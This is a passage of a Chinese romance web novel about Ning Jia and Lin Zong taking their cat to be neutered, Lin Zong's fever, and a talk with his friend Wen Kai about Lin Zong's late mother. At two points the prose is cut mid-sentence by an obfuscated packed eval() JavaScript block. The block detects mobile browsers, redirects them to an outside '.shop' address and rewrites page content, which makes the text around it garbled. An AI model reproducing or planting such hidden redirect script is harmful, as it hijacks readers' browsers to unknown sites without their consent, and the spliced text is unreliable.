作为一只长期混迹在人堆里勉强听懂一些话的富贵露出疑惑的表情,它的词汇量还没有到“绝育”的地步,林纵揉揉它的下巴:“什么时候?” 林纵不懂猫,也从来没有想过要养,所有猫的知识来自宁嘉和他有空时的恶补,比如猫要做绝育要打疫苗喜欢吃虾吃蛋黄,不出门的话狂犬疫苗不一定要打,化毛膏不用吃也可以自己吐毛。 “这周末吧。”因为混了不少吃的,宁嘉收拾厨房显得很利索,“他们说做绝育要演戏的,不能让猫知道是我让医生把他噶了。” 说着,宁嘉瞟了眼林纵的下半身。 林纵:“?” 宁嘉说:“它肯定要记恨我的,让它当了太监,所以就得演戏,比如医生把它抢走这样,坏人不是我。” 林纵似懂非懂:“周末我陪你去。” 宁嘉连连点头:“我就是这个意思,富贵都和我不亲了,就更不能让它知道我把它太监了,学长,你直接抱走吧,演不演都行,它别恨我就行。” 林纵有时候真的会被宁嘉的脑回路打败,没觉得宁嘉这样的行为有什么不对,只是很好笑:“你想让富贵讨厌我啊?” 宁嘉手上动作停顿,不知道又想到什么:“学长,你会不会不高兴?” 林纵:“我为什么不高兴?” 宁嘉也觉得自己这话莫名其妙:“因为我让富贵讨厌你?” 林纵扒拉着富贵的爪子摸摸宁嘉的脑袋:“那你讨厌我吗?” 宁嘉磨磨蹭蹭地洗碗,话说的小心翼翼:“我不讨厌你,我不会讨厌你的,学长。” 53. 第 53 章 要说给富贵绝育,这个家最开心的,还是富贵。 “......” 宁嘉作为富贵的后爹,这一年来养娃勤勤恳恳,看见什么玩具都想卖,有什么好吃的也是第一时间想着富贵。 今时今日,宁嘉要带富贵去做绝育了。 老父亲很是忧心。 大清早,宁嘉从楼上下来,没来得及吃早饭就先去猫屋找猫了。 绝育是提前预约过的,还要禁食,富贵不愧是个傻猫,饿了也不知道叫,一晚上没看见宁嘉,尾巴尖忍不住地勾上来。 宁嘉把猫抱起来的时候,猫房又被推开,林纵走了进来,从宁嘉肩上摸了摸富贵的下巴:“先去吃饭吧。” 富贵从见到林纵的那一刻就想扑腾了,宁嘉一松手,傻猫就跳走,宁嘉背着猫关门走人,骂道:“傻猫,忘恩负义,等下就阉了你。” 林纵在前头脚步一顿。 宁嘉:“?” 宁嘉从昨晚开始就凶巴巴的,林纵反而不知道该和他说什么,便摇了摇头。 吃完饭,两人一猫一起出门,富贵被装在猫箱里,放到后座,宁嘉坐在副驾驶往后看了一眼,叹了口气,这才开始担心:“我朋友说他家猫上次绝育的时候,在宠物医院躺了一个星期才醒。” 这种情绪不知道要怎么和林纵说,猫养久了,其实就是亲人一样的存在。 富贵打疫苗后蔫了吧唧,富贵因为吐毛蔫了吧唧,宁嘉都因为是新手家长而紧张不已。 林纵不太会安慰人,又因为缺少养猫经验说不出安抚宁嘉的话。 车子缓慢地开出去,行驶在依旧炎热的予市街道,车内空调呼呼作响,宁嘉想,学长为什么不回我呢,他是不是想和我离婚。 大概真的是过了很久,林纵才回答:“富贵不会有事的。” 宁嘉点点头,被这句话打开了话茬:“其实也有人不给猫绝育,毕竟是个手术,也会有麻醉过敏的可能,听过有小猫死掉的。” 林纵意外地看向宁嘉,显然也是第一次听到这样的话。 宁嘉很沮丧地说:“是这样的,但是不绝育比绝育的毛病多,富贵现在只是还没有发情。” 林纵点头,又听宁嘉说:“绝育肯定比不绝育好的,可是我很讨厌意外,不喜欢那些可能会发生的不好的事。” 车子行到路口,红灯停,林纵伸手握住了宁嘉的。 不止是不熟练,林纵长这么大从来没有安慰过一个人,要怎么去宽慰一个人,安抚他的情绪,林纵从来没有过,也没有想这样做过。 他的性子就是冷的,大学时用一张虚伪的始终带笑的脸去面对旁人,说过最柔软的话就是告诉宁嘉不要否定自己。 这一路兜兜转转,林纵从来都没有想过,他的人生竟然没有停留在林俏俏离开的那天,而是在十六年之后,迟钝地重新开启了篇章。 于是他对宁嘉说:“别担心,我陪着你。” 车内空调呼呼作响,宁嘉听着林纵的话,视线慢悠悠转到林纵握着他的手上,感受着手背上温热的触感,老脸一红。 宁嘉:“......” 大多数时候,富贵都是不让抱的,几次出门富贵却都是被宁嘉抱着的,养成了习惯,宁嘉的怀抱会被猫箱好用一点。 店内,宠物医院迎过来,宁嘉抱着猫,往后退一步:“等。” 走在边上的林纵:“?” 宠物医生:“?” 宁嘉捂住富贵的耳朵:“我们需要演戏。” 宠物医生点头,伸手,来,演吧。 宁嘉摇头,目光灼灼地看向林纵。 林纵:“???” 宁嘉抱紧富贵,皱眉,表情生动,演技拙劣,一副不想要把富贵交出去又恨不得林纵立马把富贵抱走的表情:“学长!不可以的!” 林纵:“......” 好像有点难配合呢。 宁嘉朝林纵疯狂眨眼,无声道:快,快啊。 林纵犹犹豫豫伸出口,不理解但配合,干巴巴道:“不绝育不行的。” 宁嘉立马把富贵递出去,又虚伪地往回收:“不要,别这样。” 宠物医生嘴角一抽,想要打断两人的谈话,不明白都是医生配合家属演戏的情况,今天为什么是家属和家属在演戏。 宁嘉无声地:快快,快把猫抢走。 林纵怎么都没有想到,他的人生要经历这样的强制爱,勉强把富贵抱过来,两只毛茸茸的胳膊一抓,富贵就蹬了宁嘉一脚,立马投身林纵的怀抱。 “富贵——!” 林纵:“.......” 宠物医生:“......” 林纵抱富贵是抱小孩的姿势,富贵被抱着,胳膊还会自然地搭在林纵肩上。 宠物医生看得直笑:“像抱小孩一样。” 宁嘉想象着,林纵怀里抱着一个小孩的样子,他摇了摇头,晃掉脑子里不切实际的想象。 宁嘉想象不出来,老实说也不是很想要想象。 以林纵的人生轨迹来说,他以后应该都不会有小孩,就算有,也不会是这么小的,等着他养大的小娃娃。 而宁嘉想象的那个画面里,他并不在那个画面里,于是宁嘉就不想要想了。 林纵已经把富贵抱到怀里了,而富贵还没有意识到这个问题的严重性。 由于不经常出门,富贵非常怕生,被林纵抱着像个仗势欺人的未来的太监。 宠物医生看完了两人的戏码,终于想到了他的工作,笑说:“可以把小猫交给我了哦。” 林纵把猫递给医生。 宁嘉戏精上身,演技拙劣地拉着林纵的胳膊:“学长,不要,”望向猫,“富贵~” 这个时候富贵是真的怕生,让陌生人抱根本不肯,用力抓着林纵的衣服,肩膀处抓出了两个洞,爪子在林纵的脖子上留下一道泛红的划痕。 “啊!” “小心。” 宠物医生惊了,连忙上来个人,两人一起把富贵双手双脚抓走,富贵被这一连串动作吓到应激,挣扎得厉害。 “没事吧。”宠物医生担心地看向林纵。 “等下,”林纵叫住要把猫带走的宠物医生,摸摸富贵的脑袋,“没事,不要害怕。” 富贵被抱走了。 宁嘉着急地去翻林纵的衣领,露出他脖子上的伤痕,不严重,但有轻微皮下出血。 “没事,”林纵任宁嘉看,和他在他人面前目无旁人的亲昵,握着宁嘉的手,“别紧张。” 宁嘉经常被富贵抓咬,有时候伤口深了自己也不在意,只有偶尔被水冲着疼了,才骂道:“傻猫。” 眼下宁嘉却皱着眉,反思自己,不知道闹些什么,非要林纵陪他演戏,还抱什么猫,如果是自己被抓也不会这么难受。 “消一下毒。”有医生递过棉签。 宁嘉很愧疚,皱着眉接过来,小心地替林纵消毒,抱怨:“学长,你这衣服好贵的吧。” 林纵突然想笑:“你是心疼我还是心疼衣服。” “都心疼,这傻猫。”消了毒,又拿了张纸巾垫着领口的位置,以免擦到碘伏。 林纵任宁嘉动作,笑说:“这衣服以后也没机会穿了。” 宁嘉叹了口气,论有一个败家的老公是什么体验。 林纵却因为这声叹气想到了别的。 实际上真的是小到不需要在意的伤口,小时候不小心摔倒时的伤都比现在的要严重。 但宁嘉老是这样,总是这样,让林纵变得自私,想要贪心。 擦完的棉签扔掉,宁嘉又站到林纵身边,他不坐着,样子显得局促。 林纵把宁嘉带到一旁坐好,宁嘉跟着坐着,视线瞥过林纵的伤口,林纵无奈:“真的是小伤,你不要在意。” 宁嘉有些失落:“但是小伤本来是可以没有的。” 让别人因为自己的无心之过受伤,以及这个人是林纵,这两件事宁嘉都无法接受。 宁嘉郁闷地叹了好大一口气。 林纵笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699613|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来:“它以前抓你吗?” 这就是新的话题了,宁嘉很快被转移了主意,竖起细瘦的胳膊,从手腕比划到手肘:“这里全部,有个十几条吧。” 林纵:“......” 宁嘉面无表情:“它不喜欢我那样抱它,我不知道,那个时候它脚指甲没剪,一只腿四个指甲,两只八个,蹬两下就是十六个。” 宁嘉比划着:“这样这样这样。” 林纵:“......” 这就是林纵对小动物一直没有好感的原因了,会伤人,他问:“疼吗?” 宁嘉直点头:“疼死了,洗澡还包着的。我那天就冷着它,凶它,和它说疼,之后就不这么抱了,它也很少伸指甲。” 宁嘉手垂在身边,和宁嘉本人一样有些沮丧,软绵绵的,林纵的手覆上去,很轻地握了握:“所以富贵现在抓人不疼,你不要在意。” 到现在宁嘉身上还偶尔会有些小伤,富贵不愿意被抱,宁嘉总喜欢抱,前两天锁骨下也被抓到一道,洗澡的时候才看到,挺长一条红痕。 宁嘉转过头,可怜巴巴地耷拉着眉眼:“本来不会有的。” 林纵不像宁嘉,他不经常陪富贵玩,所以富贵好像特别喜欢他一点,养了这么久,被抓到还是头一次。 林纵却只觉得宁嘉这个表情很可爱,像小狗一样,若无旁人地摸了摸他的头发。 宠物店里,不知是谁咳嗽了一声,宁嘉突然脸红,转过头,手也抽走了。 只要不上班,林纵就很休闲,像个大学生,他们两人这么坐在一起,凑头小声说话,像情侣不像夫夫,在外人看来,气氛很是甜蜜。 富贵被带去二楼做检查,手术室也在二楼,宁嘉仰头看看,什么都看不到,只听到一些不明显的动静,他这才后知后觉地开始紧张。 宠物店变得静悄悄的,放低的议论声,被关在笼子里的猫猫狗狗的声音突然都听不到了,宁嘉攥着的手心开始冒汗,想说点什么缓解气氛,又什么都说不出来。 许久后,林纵起身:“我出去抽根烟。” “?”宁嘉愣住,机械地点头:“好。” 但不明白为什么。 林纵似乎很介意在宁嘉面前抽烟,宁嘉从来没见过,只偶尔在林纵身上闻到几乎算是没有的烟味,他也不让闻凯抽,像是要把宁嘉装在玻璃罩里隔离起来的人,这个时候突然离开,说是要抽烟。 许久后,宁嘉才反应过来,追着林纵出了门。 宠物医院所在的这一条街道很短,像是直角三角形的那条斜边,在两边无限延长的情况下,它只停留在最初的长度。 宁嘉在右边的巷子里没有看到人,往左走,有一个小型停车场,林纵的车就停在那里,车旁靠着个人,单手插兜,指尖夹着烟,正往嘴边送。 这是宁嘉从来没有见过的林纵,眉眼间有着他看不明白的颓意。 “学长。”宁嘉走过去。 林纵掸了掸烟灰,看着他:“嗯。” 不对,宁嘉想,分明有哪里不一样,宁嘉却想不出来。 林纵垂眼,看向宁嘉,脸上是少有的凛冽的冷感。宁嘉并不害怕,也不觉得陌生,但被注视着的时候,内心又不由自主咯噔了一声,像是空旷的峡谷里掉进来一块石头,咕噜噜滚过一圈后,才感觉到空。 “学长......”宁嘉喃喃道。 林纵抬了下胳膊,宁嘉就撞进他怀里,也不明白为什么,只是好像他需要安慰,林纵也需要安慰一下。 宠物医生正出来找人,富贵手术做完了,主人却不在。沿着宁嘉的路线找了一边,正准备打电话,冷不丁停住脚步:“?” 林纵拍拍宁嘉的肩,想说人来了。 宁嘉更紧的搂住了林纵的腰,摇头拒绝,想说我不会离开你的。 林纵:“......” 宁嘉:“?” 宁嘉抬头。 林纵看着后方。 宁嘉转头。 宁嘉:“......” 54. 第 54 章 术后半小时,麻醉的药效过了,富贵吐着舌头慢慢悠悠转醒,宠物医生检查过后宣布没事,说了些注意事项之后,告诉宁嘉可以把猫带回家了。 富贵被装进航空箱放到后座,宁嘉坐在身边,老父亲有一点忧愁,富贵耷拉着眉眼,柔弱地瞅着宁嘉,似乎没从变成太监的结局里反应过来。 富贵又闭上了眼睛。 宁嘉深吸一口气,在后座上看林纵的侧脸。富贵没事了,宁嘉这才开始反省自己,光天化日,朗朗乾坤,和林纵在小巷子里搂搂抱抱还被人看见了。 宁嘉不知道要说啥了,半晌:“学长,你抽烟的样子还挺帅的。” 其实是很帅,抽烟的姿势,拿烟的手势,吐烟的样子,烟雾散开后露出的那张脸,完美拿捏住了宁嘉。 宁嘉喜不喜欢林纵? 已经不需要江软再说了,宁嘉哪里还是什么直男,他已经被林纵斩了,心甘情愿当他的舔狗。 不,还是得离婚的,宁嘉很坚决地想。 回到家,富贵从猫箱里被抓出来,虽然宠物医生叮嘱有些猫做完手术会应激,建议主人不要去碰,但宁嘉还是忍不住摸摸富贵的脑袋。 富贵蹭了蹭宁嘉的手,被宁嘉放在地上,一点都不冷静地趴了一会儿,然后—— 宁嘉和林纵眼睁睁看着富贵身残志坚,麻醉药都还没有过,就颤颤巍巍爬向猫粮,嘤嘤地叫。 饿,真的很饿,太监什么都是小事,给口饭吃。 宁嘉:“......” 林纵:“......” 宁嘉嘴角一抽,这才肯和林纵讲话:“其实这破猫和我也不是很熟。” 此时,阿姨推开门进来,看见富贵一副惨兮兮的样子:“唉哟,怎么弄成这样了嘛。” 阿姨不懂绝育不绝育,只知道富贵站不起来吃饭,当即心疼坏了。 宁嘉解释:“麻醉效果还没过呢,绝育是好事,阿姨。” 阿姨也不懂,毕竟是主人家,就算宁嘉为人亲和,她也不敢多说:“饭都做好了,出来吃饭吧。” 两人一前一后出门去吃饭。 饭后,宁嘉又去看了眼富贵,傻猫在睡觉,睡得很深的样子,宁嘉放心起来,和林纵回了楼上睡午觉。 两人早上都起很早,宁嘉没有得到假期该有的待遇——睡懒觉,迫不及待想要补回来。 林纵就躺在他身边,阳光正好的午后,两人一起睡了个懒觉。 宁嘉睡醒的时候,身边没有人,林纵去书房工作了,宁嘉侧过身,摸摸床单,猜测林纵起来很久了。 他摸出手机,找到江软,久违地想要开黑。 工作后大家都忙,宁嘉和江软没有断联,但彼此聊天不多,搬到予市后,两人见面的机会多了许多,聊天也很频繁,像是回到了大学那段时间。 宁嘉:吃鸡,哥。 江软:忙,弟。 宁嘉正打算坐起来,看到消息,又躺了回去:[妈妈开门,我是离谱.jpg]大周末,你忙什么。 从江软回消息的速度来看,好像也不是很忙:[爱心][爱心]约会。 宁嘉:你约什么会? 江软:不以结婚为目的的约会都是耍流氓。 宁嘉:??? 宁嘉:可是我要离婚了啊。 江软:那你离了婚再说。 江软:滚。 宁嘉:“.....” 最后是江软自己滚了,宁嘉给他发消息,江软做到了已读不回,看起来好像真的在约会。 算了。 宁嘉从床上爬起来,晃晃悠悠荡到隔壁书房,推开门,林纵正在里头办公,仔细瞧着文件,没有看到门口的人。 宁嘉于是又把门关上,下楼去看富贵,富贵睡醒了,但还趴着,郁闷地看着院子里被阳光晒得发光的草地。 宁嘉走到富贵身边摸摸猫头,富贵不接受也不拒绝,像个渣猫。 房子再大,能住的地方其实只有那么点,在这间房子里,宁嘉最喜欢的就是院子里的大草地和边上的池塘,不过里面没有鱼。 一人一猫蹲坐在地上发了十几分钟的呆,直到乌云短暂的遮盖云层,宁嘉满意地眯起眼睛,垂眼去看富贵,发现傻猫又睡了。 宁嘉于是退出去,独自晃荡到客厅,他不太喜欢看电视,一个人坐在客厅也没打算放什么节目。 摸摸口袋里又放下,显得有些无事所所。 宁嘉视线一瞥,随后看到了厨房,想,虽然我厨艺很差,但是我很想要做点什么。 主要是为了打发时间,给谁吃都可以,不耽误离婚的。 宁嘉走进厨房,打开冰箱,上上下下的柜子全都看了一遍,随后冰箱被关上,宁嘉陷入了深思。 这个厨,不下也罢。 “......” 二十分钟后,宁嘉折腾出了一碗水果捞,送进书房。 林纵正在闭眼休息,靠在躺椅上抱着胳膊,看着有些不近人情。 听见动静,他睁开眼,那双略显冷淡的眼睛却又很生动地看着宁嘉。 宁嘉觉得这很矛盾,但不明白为什么,只觉得林纵酷毙了。 “什么东西?”林纵看着宁嘉手里的东西问。 宁嘉走进,把碗放下来:“水果切。” 宁嘉确实是没有什么下厨的天分,只是切个水果也弄得乱七八糟,刀工不好,整齐的水果被留在碗里,大多数都进了肚,他现在很撑。 紧接着,打了个饱嗝。 宁嘉:“......” 林纵笑看着他。 宁嘉欲哭无泪:“别笑了你,有什么好笑的。” 冰箱里有的水果宁嘉都切了一遍,苹果和梨子削皮,哈密瓜的皮却还有残留,菠萝不会处理,西瓜籽倒是挑得很干净。 是用了心的。 林纵用叉子叉了块西瓜,递到宁嘉嘴边。 宁嘉下意识后退:“......?” “不吃?”林纵问。 林纵和宁嘉靠得很近,他好像洗过澡,宁嘉闻到他身上带着体温的沐浴液的味道。 宁嘉微微脸红,从林纵手里接过叉子,自己吃了:“我在楼下吃过了,”不好意思地补充,“我切了很多很丑的。” 林纵又叉了块西瓜自己吃,问:“晚上想吃什么?” 宁嘉问:“学长你做饭吗?” 林纵最近经常下厨,他点头,宁嘉说:“你要不要教教我,我也可以做给你吃的。” 林纵突然笑起来,脸上是明晃晃的笑意:“嗯,教你啊,你好好学。” 反正也学不好。 宁嘉气死,头也不回地走了。 关上门,摸了摸发烫的耳朵,烦人! 然而林纵进厨房的时候,宁嘉还是跟着进去了,这次他没有搬凳子,跟屁虫似的跟在林纵身后,探着脑袋左看看右看看,距离近到林纵一转头就能撞到。 林纵简直想笑:“你干吗呢?” 宁嘉叉腰,阴阳怪气:“我学习呢,学长。” 林纵点开他的脑袋:“烦人精。” 宁嘉歪着脑袋学他:“烦人精。” 林纵:“......” 吃完饭,宁嘉又去看了趟富贵,猫很好,呼吸平稳,睡得和死猪一样。 宁嘉放心起来,换上鞋子,出门去院子里溜达,转到池塘边上,想着什么时候买点鱼苗养养,夏天过了,但还是想种荷花,还有丢两只王八进去。 宁嘉想到这里,又摇摇头,都是要离婚的人了,迟早会搬离这里,买个锤子。 回到房子,宁嘉去储藏室搬了张躺椅出去,今夜有星空,月光明亮,适合吹晚风赏月。 宁嘉躺得悠闲,惬意,忍不住给江软发了条消息:[照片]爷现在很舒服。 过了两分钟,江软回:滚。 宁嘉躺在椅子上傻笑。 书房外有个阳台,林纵没有开灯,坐在太阳上,看着宁嘉在楼下晃了很久。 “啊啊啊啊啊啊啊啊啊!” 宁嘉突然大叫。 林纵:“?” 宁嘉在楼下大骂:“臭蚊子臭蚊子。” 林纵:“......” 宁嘉蹦蹦跳跳跑上二楼,林纵正坐在房间沙发上,门被撞开,不紧不慢地问:“怎么了?” 宁嘉抓狂:“有蚊子有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707433|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蚊子,学长,它咬我。” 宁嘉穿着短裤在夏天的草地上喂蚊子,林纵实在是爱莫能助,掏出茶几上的花露水:“擦一点。” 宁嘉欲哭无泪,坐到林纵边上,腿上被咬了五六个包,花露水一通喷,好像是舒服点了,惊觉:“我还没洗澡呢!” 林纵:“......” 连停顿都没有,宁嘉又往浴室去了。 晚上睡觉的时候,两人各躺一侧,宁嘉在刷抖音,而林纵在刷......猫? 宁嘉:“......” “学长,你什么时候爱看这个了?” 林纵问:“不可以吗?” 宁嘉:“?” 林纵说:“富贵很可爱,我也喜欢猫。” 这话宁嘉其实不太信,因为林纵的喜欢太淡了,宁嘉总觉得林纵这样的人应该不会喜欢什么东西,感情应该是热烈的,可林纵对这个世界从来都很冷淡,并不抱有热爱。 但宁嘉没有拆穿他,笑说:“是吧,我也觉得富贵可爱。” 富贵出生后,宁嘉就一直看着它,直到满月,因为是他的第一只猫,想要很认真的对待,所以取了名字,买很多给富贵吃的零食和玩的玩具。 关了灯,宁嘉躺在床上,平平的直直的,像一具尸体,林纵胳膊伸过去:“躺过来一点。” 两个人私底下相处的时候,林纵总有些说不出的强势,他会命令宁嘉陪他做饭,也会命令宁嘉离他近一点。 宁嘉便磨蹭地挪过去枕在林纵的手臂上。 林纵也会靠近宁嘉,两个人靠在一起,最后的结局都是两个人抱在一起,宁嘉像个玩偶一样被林纵抱得很紧。 第二天早上,宁嘉是被热醒的,背上捂了层汗,想要起身,林纵却把他箍得很紧,宁嘉简直动弹不得。 等到宁嘉从林纵胳膊里钻出来的时候才发现不对。 林纵的体温很高,已经不是热的范畴了,像小时候那样,宁嘉学着去摸林纵的额头。 宁嘉晃晃他:“学长,你发烧了。” 林纵不说话,拉着宁嘉又往怀里抱。 宁嘉睁开,随即冲下了楼,有一点迷茫:“阿姨阿姨,林纵发烧了怎么办。” 阿姨被宁嘉吓一跳,同样迷茫,想了一会儿:“那要去医院的吧?” 宁嘉拧着眉:“他好像一副要死的样子。” 阿姨:“......” 阿姨毕竟是阿姨,经验丰富,脑袋灵光,一拍大腿,大喊:“你们有钱人不是都请家庭医生的吗?” 宁嘉心说我也不是有钱人啊,但又觉得阿姨说的有道理,找家庭医生是对的,他问:“有联系方式不?” 阿姨:“?我哪有呀。” 她就来了一个多月,只负责做饭和打扫卫生,这些事林纵从来没交代过她。 宁嘉急匆匆地在原地转了个圈:“那怎么办怎么办。” 阿姨从浴室拿出一条干净的毛巾,裹上冰块,刚想说可以物理降温,宁嘉已经跑了。 手机还在楼上,宁嘉找到闻凯的电话拨过去。 大周末的早上,闻凯还在睡大觉,被吵醒很烦躁:“谁?” 宁嘉比他还凶:“我!” 闻凯老实了:“......哦,你什么事。” 宁嘉说:“学长发烧了。” 闻凯说:“那带你学长去医院啊。” 宁嘉:“他没醒呢。” 闻凯:“......那我去弄醒他?” 宁嘉:“......” 闻凯摸摸脑袋,醒了也像没醒,缓了一会儿,说道:“那你叫医生啊,找我干什么。” 宁嘉蔫了吧唧的,讲话小声:“我没有联系方式。” 闻凯超大声:“什么!” 宁嘉怕吵醒林纵,咬牙:“我说我没有联系方式。” 闻凯似乎见怪不怪:“哦,看起来你们不是很熟啊。” 宁嘉忍气吞声。 闻凯笑说:“我就说你们俩和闹着玩一样,能有什么感情。” 闻凯把手机号码发给宁嘉:“电话发给你了,你联系吧,别给人烧成傻子了,本来看着也不聪明。” 55. 第 55 章 闻凯对宁嘉的敌意莫名其妙,宁嘉有点不高兴,但不想计较。 挂了电话,宁嘉联系上家庭医生,直到对方过来给林纵挂上药水,宁嘉才松了一口气。 药水滴进身体很凉,家庭医生在收拾东西,宁嘉捂着林纵的手背,问:“医生,他为什么会发烧?” 虽然拿着很多的钱,家庭医生态度却不算好:“说不好,气候、心情,身体疲惫都有可能。” 林纵还在睡,宁嘉看了看他,点头,起身送家庭医生下楼吃饭。 阿姨做了早饭喊宁嘉来吃,家里凉气很足,宁嘉却出了汗,在餐桌前坐下,紧接着又起来,只端走了一碗白米粥。 进房间的动静很轻,林纵也没有醒,宁嘉坐在地板上,扒拉着碗里的稀饭,看着林纵苍白的脸觉得有些郁闷。 林纵在此时睁开眼,宁嘉端着碗和他迷茫对视,突然反应过来,兴奋道:“学长,你醒啦!” 林纵笑了下,他其实没有真的睡着,只是觉得累,不太想动,想要睡个好觉。 看着宁嘉的脸,问:“怎么看起来不高兴。” 宁嘉心说你都这样了,我还怎么开心,但是算了,毕竟是要离婚的人了。 他于是告状:“闻凯刚才凶我。” 林纵挑了下眉,听宁嘉说:“他瞧不起我是穷人家的孩子,说我没有见过家庭医生。” 林纵嗓音沙哑,说出口的话却依然霸气:“晚点我骂他。” 宁嘉满意地点头。 林纵看到宁嘉碗里的东西:“早餐就吃这个?” 宁嘉反驳:“你还没得吃呢。” 林纵笑起来:“嗯,那你更要多吃一点。” 宁嘉更郁闷了,沮丧,不知道这种情绪叫什么,放下碗,下巴蹭着林纵的胳膊:“一个人吃饭好无聊的。” 林纵看向宁嘉,什么都没说,又好像什么话都说了。 宁嘉说:“学长,你要快点好起来。” 午饭时间闻凯过来了,宁嘉亲自开的门:“你怎么来了。”很不欢迎的样子。 宁嘉此人一向爱恨分明,谁欺负他,他一定是要报复回去的。 闻凯恢复了平日吊儿郎当的模样,手插兜从宁嘉身边转了圈绕进门:“来吃饭啊。” 宁嘉已经吃过饭了,阿姨在收拾桌子,闻凯瞅了眼:“林纵呢?” 宁嘉倒不至于给闻凯脸色看,扬扬下巴,指着楼上:“吃过饭了,在楼上休息。” 闻凯点头:“我去楼上看看。” 宁嘉没意见:“我去看猫。” 闻凯:“没问你。” 宁嘉:“学长会问。”意思是你很多余。 闻凯竟然笑了,眉眼带着点邪气:“行的。” 宁嘉头也不回地走了。 林纵正在床上休息,手里拿着本书,闻凯真是佩服,走近,发出点动静,林纵抬眼看去,毫不意外,只问:“宁嘉呢?” 闻凯脚步一顿,想回家了,不耐烦道:“他说去看猫了。” 林纵点头,解释:“猫昨天去做了绝育。” 闻凯震怒:“我不关心你家的猫!” 林纵露出谴责的眼神,带着生病时特有的虚弱,闻凯只觉得渗人。 这是宁嘉和林纵住的房间,意外的整洁,比闻凯自己乱七八糟放一堆东西还不喜欢收拾的猪窝强了不要太多。 房间里没有椅子,闻凯只好坐在扔衣服的小沙发上,看向林纵,问:“怎么病的?” 这是什么问题,林纵看傻子似的看着他。 闻凯索性挑明了问:“你妈忌日快到了吗?” 林纵皱眉:“?” 这个圈子里有些事是藏不住的,比如林纵当年这么来的林家,又是怎么把他妈的骨灰带回去。 林平生几乎是津津乐道,只为了表达儿子的优秀与不同。 事实上闻凯并不知道前两天林家发生的事,不知道林纵当着宁嘉的面说出林平生和他自己的什么惊天大秘密。 以为林纵是单纯的心情不好。 林纵虽然不说,闻凯却知道每年这个时候他都是低气压。 林平生疼爱林纵,在外一口一个儿子的喊着,却不知道有些感情是浸到骨头里的,从八岁那年开始,林纵就忘不了。 闻凯说:“到时候我陪你回去吧。” 林纵怔愣,继而冷淡道:“不用。” 林纵这是承认了,闻凯不明白的是发生什么事,让林纵今年变得不一样了。 林纵时常冷淡,习惯隐藏情绪,不了解他的人以为他就是这样的人,天生冷情,但闻凯知道,林纵只是把自己当成储藏罐,所以的情绪他都是一个人在消化。 总是会发生什么的,林纵才变成这个样子,倚在床头,一副半死不活的样子。 “发生什么事了?”闻凯问。 林纵说:“能有什么事。” 闻凯也不着急,翘着二郎腿,要和林纵好好说道的表情:“听说前两天你爸把你老婆抓走了。” 林纵翻过一页书。 闻凯又说:“听说后来你也过去了。” 林纵没搭理闻凯。 闻凯坐直,双腿分开,胳膊搭在腿上,笑意绵绵:“那天晚上林平生喝多了发酒疯,这事大家可都知道呢。” 林纵这才正眼看向林纵,不耐烦:“闻凯。” 闻凯耸了耸肩:“我没调查,总有人好奇嘛,知道的人不在少数。” 林纵从来不想和闻凯说这些,不是信不过,只是不想说:“我说过我和你不一样。” 闻凯点头:“我把你当朋友,我担心你。” 房门半掩着,宁嘉的脚步声却很轻,他在门口停下,听见林纵说:“你是私生子,我不是。” ...... 宁嘉觉得喘不过气,慢慢蹲下来,抱着膝盖,表情很痛苦。 林纵的语气却云淡风轻:“不是什么重要的事,没什么好说的。” 闻凯得到了和林平生同样的回复,好半天说不出话来,许久后,他问:“林纵,你想你妈了吗?” 这次林纵没有犹豫,他说:“想。” 知道偷听不对,但宁嘉站不起来,最后小狗似的,慢慢离开了门口,他的心情和他此时的动作一样悲伤。 今年比往年要早一点,和林平生提起的时候,在富贵的手术室外短暂等待的时候,在闻凯说母亲忌日要到的时候,林纵都很想妈妈。 闻凯笑起来,笑着说:“没关系,我也想我妈了。但她现在应该和她新儿子和新老公生活的很好,可能都不记得我了。” 自从闻凯的身份变成闻家私生子后,闻凯再也没有试图打听过母亲的下落。 这些年倒是总有人提起,说她结了婚,生了儿子,又说她家里买了房子,生活过的还不错。 闻凯从来没想过要联系,也不是什么重要的事情。 林纵梗在胸口的情绪,跟着那一个字渐渐散开,变成了柔软的温热的水流,缓缓流过心口。 闻凯又靠了回去,和林纵打商量:“那到时候我和你回去呗,我都没妈了,把你妈借我用用。” “不行。”林纵残忍地拒绝了闻凯。 闻凯:“?” 林纵说:“我自己回去就行了。” 闻凯:“不带宁嘉去?哦,也是,你们看着也不是很熟的样子。” 林纵因为生病反应慢,现在想起来了,冷冷地瞅着闻凯。 闻凯:“?” 林纵:“宁嘉说你凶他了。” 闻凯冷哼:“对,怎么滴吧。” 林纵淡淡:“我记得你比我小了一个月。” 闻凯有了一点不详的预兆:“?” 只听林纵波澜不惊道:“下次看见宁嘉要叫嫂子,懂?” 闻凯:“???”去你妈的吧。 两人又聊了些有的没的,林纵都回了,闻凯的性格是不顾旁人死活的,毕竟也没人顾他的,他想要知道自己想知道的,必然有他的办法,林纵也不是第一天认识他了,躲不过就说,闻凯很满意。 于是林纵不满意了,看见他烦:“宁嘉呢?” 闻凯:“?哥们,我上来第一句话,你问的也是这个呢。” 书放到一旁,林纵从床上起来,闻凯竟然冲过去要扶。 林纵慢悠悠地看过去:“?” 闻凯立马收回手:“不好意思,哥们以为你柔弱不能自理。” 林纵说:“发烧 